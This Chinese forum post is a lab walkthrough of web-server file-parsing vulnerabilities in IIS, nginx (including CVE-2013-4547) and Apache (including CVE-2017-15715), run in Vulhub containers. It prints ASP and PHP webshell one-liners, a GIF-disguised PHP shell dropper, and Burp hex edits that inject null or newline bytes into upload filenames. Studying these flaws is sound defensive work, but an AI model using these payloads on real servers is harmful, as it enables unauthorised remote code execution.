常见文件解析漏洞

打印 上一主题 下一主题

主题 755|帖子 755|积分 2265

IIS解析漏洞

IIS6.X

  1. #环境
  2. Windows Server 2003
复制代码
在iis6.x中,.asp文件夹中的恣意文件都会被当做asp文件去执行


在默认网站里创建一个a.asp文件夹并创建一个1.jpg写进我们的asp代码
  1. <%=now()%>
  2. #asp一句话
  3. <%eval request("h")%>
复制代码
单独创建一个1.jpg发现并不能解析


在a.asp下被解析


在IIS 6 处理文件解析时,分号可以起到截断的结果。也就是说 shell.asp;.jpg会被服务器看成是
shell.asp。另外IIS6.0默认的可执行文件除了asp还包含 asa\cer\cdx
IIS7.X

在IIS7.0和IIS7.5版本下也存在解析漏洞,在默认Fast-CGI开启状况下,在⼀个文件路径/xx.jpg
后面加上/xx.php会将 /xx.jpg/xx.php 解析为 php 文件。
php.ini里的cgi.fix_pathinfo=1 开启
IIS7在Fast-CGI运行模式下
  1. #环境
  2. PHPstudy for IIS
复制代码
配置 php.ini 文件,将 cgi.fix_pathinfo=1 注释取消掉;并重启


IIS -->配置网站-->处理程序映射-->HPStudy_FastCGI -->请求限制 -->取消勾




然后在网站下创建我们的shell;并定名为1.jpg


去网站访问他


加上/.php就可以被解析为php文件


蚁剑连接一下


nginx解析漏洞

Vulhub靶场nginx

nginx_parsing
Nginx的文件解析漏洞...和IIS7.0的解析漏洞同样的原理,由于 cgi.fix_pathinfo=1 造成的解析漏洞
利用 1.jpg/.php 方式举行绕过
搭建doker容器
  1. #搭建docker容器
  2. yum install docker
  3. yum install docker-compose
  4. #确认是否安装成功
  5. docker -v
  6. #搭建Vulhub靶场
  7. git clone https://github.com/vulhub/vulhub.git
复制代码
搭好Vulhub靶场后
  1. cd vulhub/nginx/nginx_parsing_vulnerability/
  2. docker-compose up -d
  3. #查看端口
  4. docker ps
复制代码




上传我们的图片马


获取路径后


去访问我们的图片马并在后面加上/.php


蚁剑测试连接


Vulhub靶场CVE-2013-4547x

  1. #启动靶场
  2. cd vulhub-master/nginx/CVE-2013-4547x //切换到靶机目录
  3. docker-compose build //创建环境
  4. docker-compose up -d //打开环境
复制代码
创建好后打开我们的靶场上传一张图片马
  1. GIF89a
  2. <?php fputs(fopen('h.php','w'),'<?php @eval($_POST["cmd"]);?>'); ?>
复制代码
上传的时候打开我们的BP举行抓包
在文件名后写上
空格空格.php


并在hex处修改0x20 0x20把末了一个空格换成0x00;然后放行




我们去访问他


发现我们访问不进去这时候就用到我们BP再次抓包举行修改






去Hex把20改回我们的00


就能访问到我们的木马,但是这并不是我们木马的路径,用蚁剑连是连不上的


我们的代码会天生一个一句话我们去连接他就可以了



Apache解析漏洞

Vulhub靶场apache

apache_parsing
Apache HTTPD 支持⼀个文件拥有多个后缀,并为差别后缀执行差别的指令
在Apache1.x/2.x中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,
就再往左判断。如 1.php.xxxxx
  1. #搭建靶场
  2. cd /vulhub/httpd/apache_parsing_vulnerability
  3. docker-compose up -d
  4. docker ps -a
复制代码
无论我们的php在哪都会解析我们文件里的php代码



  1. GIF89a
  2. <?php fputs(fopen('h.php','w'),'<?php @eval($_POST["cmd"]);?>'); ?>
复制代码
访问一下我们上传的文件


去访问一下h.php也是成功了


Vulhub靶场CVE-2017-15715

  1. #搭建靶场
  2. cd /Vulnhub/vulhub-master/httpd/CVE-2017-15715
  3. docker-compose up -d
复制代码
Apache HTTPD是⼀款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存
在⼀个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀举行解析,导致绕过⼀些服务器的安全
策略。
来到首页,上传文件会被拦截




BP抓一下包,在文件名后加一个空格;并把0x20改成0x0a




放行就成功上传;去访问一下我们的一句话






免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

悠扬随风

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表